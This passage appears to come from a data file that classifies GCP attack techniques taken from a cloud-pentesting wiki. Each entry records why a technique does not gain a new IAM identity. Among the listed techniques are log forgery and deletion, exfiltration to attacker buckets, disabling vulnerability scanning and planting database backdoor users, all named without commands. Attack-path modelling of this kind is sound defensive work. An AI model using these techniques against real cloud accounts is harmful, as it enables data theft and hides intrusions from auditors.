src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-live-stream-post-exploitation.md#livestreaminputsget--inject-content-through-a-disclosed-input-uri + technique: livestream.inputs.get — inject content through a disclosed input URI + reason: media content injection; no GCP IAM identity gain documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-observability-post-exploitation.md#cloudtracetraceslistget-or-observabilityviewsaccess--mine-trace-spans-for-credentials-and-internal-architecture + technique: cloudtrace.traces.list/get or observability.views.access — mine trace spans for credentials and internal architecture + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-observability-post-exploitation.md#observabilitylinkscreate--bigquery-read-permissions--expose-trace-storage-through-bigquery-iam + technique: observability.links.create + BigQuery read permissions — expose trace storage through BigQuery IAM + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-observability-post-exploitation.md#errorreportinggroupslist--errorreportingerroreventslist--mine-stack-traces-and-request-context + technique: errorreporting.groups.list / errorreporting.errorEvents.list — mine stack traces and request context + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-observability-post-exploitation.md#errorreportingerroreventscreate-or-cloudtracetracespatch--inject-misleading-telemetry + technique: errorreporting.errorEvents.create or cloudtrace.traces.patch — inject misleading telemetry + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md#widen-nfs-export-access---fileinstancesupdate + technique: Widen NFS export access - file.instances.update + reason: NFS export widening (data exposure); no GCP IAM identity gain documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#read-log-entries--logginglogentrieslist-and-loggingviewsaccess + technique: Read log entries — logging.logEntries.list and logging.views.access + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#copy-historical-logs-to-cloud-storage--loggingbucketscopylogentries + technique: Copy historical logs to Cloud Storage — logging.buckets.copyLogEntries + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#create-a-linked-bigquery-dataset--logginglinkscreate + technique: Create a linked BigQuery dataset — logging.links.create + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#change-access-to-a-log-view--loggingviewssetiampolicy + technique: Change access to a log view — logging.views.setIamPolicy + reason: Grant is limited to log-view data access; no other principal identity or broader GCP IAM role is obtained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#forge-log-entries--logginglogentriescreate + technique: Forge log entries — logging.logEntries.create + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#blind-a-custom-log-view--loggingviewsupdate + technique: Blind a custom log view — logging.views.update + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#change-a-log-based-metric--logginglogmetricsupdate + technique: Change a log-based metric — logging.logMetrics.update + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#poison-defaults-for-future-projects-and-folders--loggingsettingsupdate + technique: Poison defaults for future projects and folders — logging.settings.update + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#delete-a-log-from-_default--logginglogsdelete + technique: Delete a log from _Default — logging.logs.delete + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#delete-a-log-bucket--loggingbucketsdelete + technique: Delete a log bucket — logging.buckets.delete + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#delete-a-linked-bigquery-dataset--logginglinksdelete + technique: Delete a linked BigQuery dataset — logging.links.delete + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#delete-a-custom-log-view--loggingviewsdelete + technique: Delete a custom log view — logging.views.delete + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#delete-a-log-based-metric--logginglogmetricsdelete + technique: Delete a log-based metric — logging.logMetrics.delete + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#delete-a-log-sink--loggingsinksdelete + technique: Delete a log sink — logging.sinks.delete + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#alter-retention-lock-fields-or-cmek--loggingbucketsupdate + technique: Alter retention, lock, fields, or CMEK — logging.buckets.update + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#disable-exclude-or-redirect-routing--loggingsinksupdate-and-loggingexclusions + technique: Disable, exclude, or redirect routing — logging.sinks.update and logging.exclusions.* + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-healthcare-post-exploitation.md#healthcaredatasetsdeidentify--stage-a-transformed-copy-without-source-record-read-permissions + technique: healthcare.datasets.deidentify — stage a transformed copy without source record-read permissions + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-healthcare-post-exploitation.md#healthcarefhirstoresupdate--disable-fhir-consent-enforcement + technique: healthcare.fhirStores.update — disable FHIR consent enforcement + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-data-connect-enum.md#firebase-data-connect-firebasedataconnectgoogleapiscom + technique: Firebase Data Connect (firebasedataconnect.googleapis.com) + reason: Service context, inventory, or authorization description; no additional configuration-derived identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-app-topology-enum.md#app-topology-apptopologygoogleapiscom + technique: App Topology (apptopology.googleapis.com) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-google-secops-enum.md#google-secops-chroniclegoogleapiscom + technique: Google SecOps (chronicle.googleapis.com) + reason: Service context, inventory, or authorization description; no additional configuration-derived identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-bare-metal-solution-enum.md#enumeration-read-only--rolesbaremetalsolutionviewer + technique: Enumeration (read-only — roles/baremetalsolution.viewer) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-beyondcorp-enum.md#secure-gateway-beyondcorpgoogleapiscom + technique: Secure Gateway (beyondcorp.googleapis.com) + reason: Pointer to dedicated privilege-escalation page owned by another group; no standalone permission chain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-support-enum.md#cloud-customer-care-cloudsupportgoogleapiscom + technique: Cloud Customer Care (cloudsupport.googleapis.com) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-app-lifecycle-manager-enum.md#app-lifecycle-manager-saasservicemgmtgoogleapiscom + technique: App Lifecycle Manager (saasservicemgmt.googleapis.com) + reason: 'Identity mechanics already covered: gcp-saasservicemgmt-release-unit-actuation.' +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-app-hosting-enum.md#firebase-app-hosting-firebaseapphostinggoogleapiscom + technique: Firebase App Hosting (firebaseapphosting.googleapis.com) + reason: Service context, inventory, or authorization description; no additional configuration-derived identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-billing-enum.md#cloud-billing-cloudbillinggoogleapiscom + technique: Cloud Billing (cloudbilling.googleapis.com) + reason: Pointer to dedicated privilege-escalation page owned by another group; no standalone permission chain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-binary-authorization-enum.md#binary-authorization-binaryauthorizationgoogleapiscom + technique: Binary Authorization (binaryauthorization.googleapis.com) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-config-controller-enum.md#config-controller-krmapihostinggoogleapiscom + technique: Config Controller (krmapihosting.googleapis.com) + reason: KCC reconciler-SA control is gcp-configcontroller-kcc-resource-write; this page only describes identity and discovery. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-document-ai-enum.md#document-ai-documentaigoogleapiscom + technique: Document AI (documentai.googleapis.com) + reason: Service context, inventory, or authorization description; no additional configuration-derived identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cluster-director-enum.md#cluster-director-hypercomputeclustergoogleapiscom + technique: Cluster Director (hypercomputecluster.googleapis.com) + reason: 'Identity mechanics already covered: gcp-hypercomputecluster-login-node-startup-actas.' +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-agent-registry-enum.md#agent-registry-agentregistrygoogleapiscom + technique: Agent Registry (agentregistry.googleapis.com) + reason: 'Identity mechanics already covered: gcp-agentregistry-skill-default-revision-replace.' +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-application-design-center-enum.md#application-design-center-designcentergoogleapiscom + technique: Application Design Center (designcenter.googleapis.com) + reason: 'V1D-NS-1: deploy/update as selected SA needs caller actAs, Design Center service-agent actAs, and executable-IaC control.' +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-ids-enum.md#cloud-ids-idsgoogleapiscom + technique: Cloud IDS (ids.googleapis.com) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-advisory-notifications-enum.md#advisory-notifications-advisorynotificationsgoogleapiscom + technique: Advisory Notifications (advisorynotifications.googleapis.com) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-container-analysis-enum.md#container-analysis-containeranalysisgoogleapiscom + technique: Container Analysis (containeranalysis.googleapis.com) + reason: Service context, inventory, or authorization description; no additional configuration-derived identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-access-approval-enum.md#access-approval-accessapprovalgoogleapiscom + technique: Access Approval (accessapproval.googleapis.com) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-app-hub-enum.md#apphubdiscoveredserviceslist--discoveredworkloadslist--cross-project-topology-recon-primary-value + technique: apphub.discoveredServices.list / discoveredWorkloads.list — cross-project topology recon (primary value) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-app-hub-enum.md#serviceprojectattachmentsdetach--delete--application-map-tamper-metadata-dos + technique: serviceProjectAttachments.detach / .delete — application-map tamper (metadata DoS) + reason: Attachment tampering only changes catalog visibility, not workload IAM. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-app-hub-enum.md#apphubapplicationssetiampolicy--self-grant-weak + technique: apphub.applications.setIamPolicy — self-grant (weak) + reason: The page describes only admin/owner holders, who already possess the App Hub application permissions they could self-grant. It does not establish an actual + new effective permission for the acting principal. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-cli-execution-enum.md#cloud-cli-execution-cloudcligoogleapiscom + technique: Cloud CLI Execution (cloudcli.googleapis.com) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-basic-information/README.md#create--assign-apply-a-pab + technique: Create / Assign (Apply) a PAB + reason: Creating or assigning a principal access boundary restricts which resources a principal can reach; it grants no second identity or additional IAM role. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-application-design-center-post-exploitation.md#rolesdesigncenterviewer--read-objects-from-known-cloud-storage-buckets + technique: roles/designcenter.viewer — read objects from known Cloud Storage buckets + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-alloydb-post-exploitation.md#alloydbuserscreate--update--plant-a-built-in-database-administrator-credential + technique: alloydb.users.create / .update — plant a built-in database administrator credential + reason: The operation grants or uses PostgreSQL database privileges inside AlloyDB, not a second Google Cloud IAM principal. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-alloydb-post-exploitation.md#create-an-iam-database-user-with-an-explicit-database-role + technique: Create an IAM database user with an explicit database role + reason: The operation grants or uses PostgreSQL database privileges inside AlloyDB, not a second Google Cloud IAM principal. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-alloydb-post-exploitation.md#alloydbinstancesexecutesql--query-through-the-data-api-without-a-database-network-path + technique: alloydb.instances.executeSql* — query through the Data API without a database network path + reason: The operation grants or uses PostgreSQL database privileges inside AlloyDB, not a second Google Cloud IAM principal. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-alloydb-post-exploitation.md#alloydbclustersexport--export-database-data-to-an-attacker-controlled-bucket + technique: alloydb.clusters.export — export database data to an attacker-controlled bucket + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-alloydb-post-exploitation.md#alloydbclustersrestore--restore-a-cross-project-backup-into-a-controlled-project + technique: alloydb.clusters.restore — restore a cross-project backup into a controlled project + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-lifecycle-manager-post-exploitation.md#saasservicemgmtflagsupdate--revisionreleaserollout-creation--change-application-behavior-without-deploying-code + technique: saasservicemgmt.flags.update + revision/release/rollout creation — change application behavior without deploying code + reason: Flag revision and rollout changes alter application behavior; any authorization bypass is application-specific and does not grant a Google IAM principal. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-lifecycle-manager-post-exploitation.md#saasservicemgmtflagreleasescreate--rolloutscreate--republish-a-known-older-flag-revision + technique: saasservicemgmt.flagReleases.create + rollouts.create — republish a known older flag revision + reason: Flag revision and rollout changes alter application behavior; any authorization bypass is application-specific and does not grant a Google IAM principal. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryrepositoriesdownloadartifacts--inspect-stored-artifacts-for-sensitive-data + technique: artifactregistry.repositories.downloadArtifacts — inspect stored artifacts for sensitive data + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryrepositoriesexportartifacts--copy-an-artifact-to-cloud-storage + technique: artifactregistry.repositories.exportArtifacts — copy an artifact to Cloud Storage + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryattachmentscreate--add-untrusted-metadata-to-an-artifact + technique: artifactregistry.attachments.create — add untrusted metadata to an artifact + reason: Creating an attachment adds artifact metadata only; it does not make a consumer execute code or yield the consumer service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryrepositoriessetiampolicy--expose-a-repository-publicly + technique: artifactregistry.repositories.setIamPolicy — expose a repository publicly + reason: Repository IAM self-grant exposes artifacts in that repository; it does not change the identity of workloads that consume them. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryrepositoriesupdate--disable-automatic-vulnerability-scanning + technique: artifactregistry.repositories.update — disable automatic vulnerability scanning + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigqueryjobslistall--jobslist-jobsget--read-every-principals-sql-silently + technique: bigquery.jobs.listAll (+ jobs.list, jobs.get) — read every principal's SQL, silently + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigquerytablesgetdata--paginate-an-entire-table-without-running-a-query + technique: bigquery.tables.getData — paginate an entire table without running a query + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigqueryconnectionsuse--query-cloud-sql-through-stored-connection-credentials + technique: bigquery.connections.use — query Cloud SQL through stored connection credentials + reason: A connection can issue selected Cloud SQL queries with stored database credentials; it does not disclose or impersonate a Google service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigquerytablesexport--export-data--bulk-exfiltration-to-attacker-controlled-storage + technique: bigquery.tables.export / EXPORT DATA — bulk exfiltration to attacker-controlled storage + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigquerymodelsexport--mlweights--exfiltrate-trained-bqml-models + technique: bigquery.models.export / ML.WEIGHTS — exfiltrate trained BQML models + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-certificate-manager-post-exploitation.md#publiccaexternalaccountkeyscreate--register-a-persistent-off-platform-acme-account + technique: publicca.externalAccountKeys.create — register a persistent off-platform ACME account + reason: The operation affects TLS/ACME trust or certificate presentation at an application endpoint; it does not grant a Google Cloud IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-certificate-manager-post-exploitation.md#certificatemanagertrustconfigsupdate--inject-an-mtls-client-identity + technique: certificatemanager.trustconfigs.update — inject an mTLS client identity + reason: The operation affects TLS/ACME trust or certificate presentation at an application endpoint; it does not grant a Google Cloud IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-certificate-manager-post-exploitation.md#certificatemanagercertmapentriesupdate--substitute-a-live-hostname-certificate + technique: certificatemanager.certmapentries.update — substitute a live hostname certificate + reason: The operation affects TLS/ACME trust or certificate presentation at an application endpoint; it does not grant a Google Cloud IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#execute-sql-through-the-data-api--cloudsqlinstancesexecutesql + technique: Execute SQL through the Data API — cloudsql.instances.executeSql + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#export-database-contents-through-the-instance-service-account--cloudsqlinstancesexport + technique: Export database contents through the instance service account — cloudsql.instances.export + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#import-an-attacker-controlled-database-dump--cloudsqlinstancesimport + technique: Import an attacker-controlled database dump — cloudsql.instances.import + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#weaken-transport-security-or-invalidate-client-certificates--cloudsqlinstancesupdate-cloudsqlinstancesresetsslconfig + technique: Weaken transport security or invalidate client certificates — cloudsql.instances.update, cloudsql.instances.resetSslConfig + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#suppress-postgresql-engine-logging--cloudsqlinstancesupdate + technique: Suppress PostgreSQL engine logging — cloudsql.instances.update + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#destroy-data-or-weaken-recovery--delete-databases-backups-or-instances + technique: Destroy data or weaken recovery — delete databases, backups, or instances + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#disrupt-instance-availability--update-restart-failover-or-stop-a-replica + technique: Disrupt instance availability — update, restart, failover, or stop a replica + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-deploy-post-exploitation.md#clouddeployreleasesget--list--plaintext-deploy-params--execution-sa-disclosure-viewer-only + technique: clouddeploy.releases.get / .list — plaintext deploy-params + execution-SA disclosure (viewer-only) + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md#read-application-logs-with-logginglogentrieslist + technique: Read application logs with logging.logEntries.list + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bare-metal-solution-post-exploitation.md#baremetalsolutionnfssharesupdate--expose-an-nfs-export-to-a-reachable-client + technique: baremetalsolution.nfsshares.update — expose an NFS export to a reachable client + reason: NFS export allowlisting changes which clients can mount files; it does not authenticate as the Bare Metal host or its Google service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-scheduler-post-exploitation.md#cloudschedulerjobsget-or-list--cloudschedulerjobsfullview--silent-secret-harvesting + technique: (cloudscheduler.jobs.get or .list) + cloudscheduler.jobs.fullView — silent secret harvesting + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-scheduler-post-exploitation.md#cloudschedulerjobsrun---replay-privileged-jobs-on-demand + technique: cloudscheduler.jobs.run - replay privileged jobs on demand + reason: Running a pinned existing Scheduler job replays its stored request; the caller cannot choose a new OAuth request or obtain its service-account token. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-scheduler-post-exploitation.md#cloudschedulerjobsupdate---payloadtarget-tampering-on-a-trusted-job + technique: cloudscheduler.jobs.update - payload/target tampering on a trusted job + reason: The same jobs.update plus iam.serviceAccounts.actAs combination and pinned job service-account target are modeled by gcp-cloudscheduler-jobs-update-actas. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-scheduler-post-exploitation.md#cloudschedulerjobspause--cloudschedulerjobsdelete---disruption + technique: cloudscheduler.jobs.pause / cloudscheduler.jobs.delete - disruption + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-domains-post-exploitation.md#domainsregistrationsconfigurecontact--expose-registrant-data-or-alter-transfer-contacts + technique: domains.registrations.configureContact — expose registrant data or alter transfer contacts + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-biglake-post-exploitation.md#biglaketablesgetdata--obtain-table-scoped-cloud-storage-credentials + technique: biglake.tables.getData — obtain table-scoped Cloud Storage credentials + reason: The delegated credentials and writes are scoped to Lakehouse table objects in Cloud Storage; they do not grant the catalog service account's general IAM + roles. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-biglake-post-exploitation.md#biglaketablesupdatedata--update--write-objects-and-commit-a-malicious-iceberg-snapshot + technique: biglake.tables.updateData + .update — write objects and commit a malicious Iceberg snapshot + reason: The delegated credentials and writes are scoped to Lakehouse table objects in Cloud Storage; they do not grant the catalog service account's general IAM + roles. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-biglake-post-exploitation.md#biglaketablesupdate--repoint-a-biglake-metastore-classic-table-location + technique: biglake.tables.update — repoint a BigLake metastore (classic) table location + reason: The delegated credentials and writes are scoped to Lakehouse table objects in Cloud Storage; they do not grant the catalog service account's general IAM + roles. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-quotas-post-exploitation.md#cloudquotasquotasget--map-capacity-dimensions-and-quota-request-history + technique: cloudquotas.quotas.get — map capacity, dimensions and quota-request history + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-dns-post-exploitation.md#create-a-forwarding-or-peering-zone + technique: Create a forwarding or peering zone + reason: A forwarding or peering zone changes DNS routing; it grants network reach or interception, not another principal's IAM roles. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md#runlocationsexportimage--export-a-cached-private-image-without-source-registry-access + technique: run.locations.exportImage — export a cached private image without source-registry access + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md#delete-cloud-run-services-jobs-or-revisions + technique: Delete Cloud Run services, jobs or revisions + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-binary-authorization-post-exploitation.md#binaryauthorizationpolicyupdate-plus-workload-deployment--relax-admission-and-obtain-a-workload-foothold + technique: binaryauthorization.policy.update plus workload deployment — relax admission and obtain a workload foothold + reason: The Binary Authorization change only weakens image admission; acquiring a workload identity additionally requires a separate deployment permission and suitable + workload, modeled by the deployment entries. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-binary-authorization-post-exploitation.md#binaryauthorizationattestorsupdate-plus-artifact-analysis-occurrence-creation--inject-a-signing-key-and-obtain-a-workload-foothold + technique: binaryauthorization.attestors.update plus Artifact Analysis occurrence creation — inject a signing key and obtain a workload footh + reason: The Binary Authorization change only weakens image admission; acquiring a workload identity additionally requires a separate deployment permission and suitable + workload, modeled by the deployment entries. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-advisory-notifications-post-exploitation.md#advisorynotificationsnotificationslist--read-full-security-and-privacy-notices + technique: advisorynotifications.notifications.list — read full security and privacy notices + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-advisory-notifications-post-exploitation.md#advisorynotificationssettingsupdate--disable-organization-sensitive-actions-delivery + technique: advisorynotifications.settings.update — disable organization Sensitive Actions delivery + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md#cloudfunctionsfunctionssourcecodeget--request-a-signed-source-download-url + technique: cloudfunctions.functions.sourceCodeGet — request a signed source-download URL + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-access-approval-post-exploitation.md#accessapprovalsettingsupdate--accessapprovalsettingsdelete + technique: accessapproval.settings.update / accessapproval.settings.delete + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-access-approval-post-exploitation.md#accessapprovalrequestsapprove--dismiss--invalidate--rubber-stamp-or-kill-approval-requests + technique: accessapproval.requests.approve / .dismiss / .invalidate — rubber-stamp or kill approval requests + reason: Approving or dismissing a Google support access request changes a support guardrail; it does not grant the caller the support principal's IAM rights. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-tasks-persistence.md#cloudtaskstaskscreate---override-queue-retry-limits-per-task + technique: cloudtasks.tasks.create - override queue retry limits per task + reason: Per-task retry overrides only alter delivery timing and retry count; the task's authenticated request still requires the separately modeled task-create + plus actAs path. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-alloydb-persistence.md#create-a-postgresql-native-backdoor-below-the-alloydb-api-inventory + technique: Create a PostgreSQL-native backdoor below the AlloyDB API inventory + reason: The created PostgreSQL-native user can access AlloyDB data, but cannot impersonate the cluster's 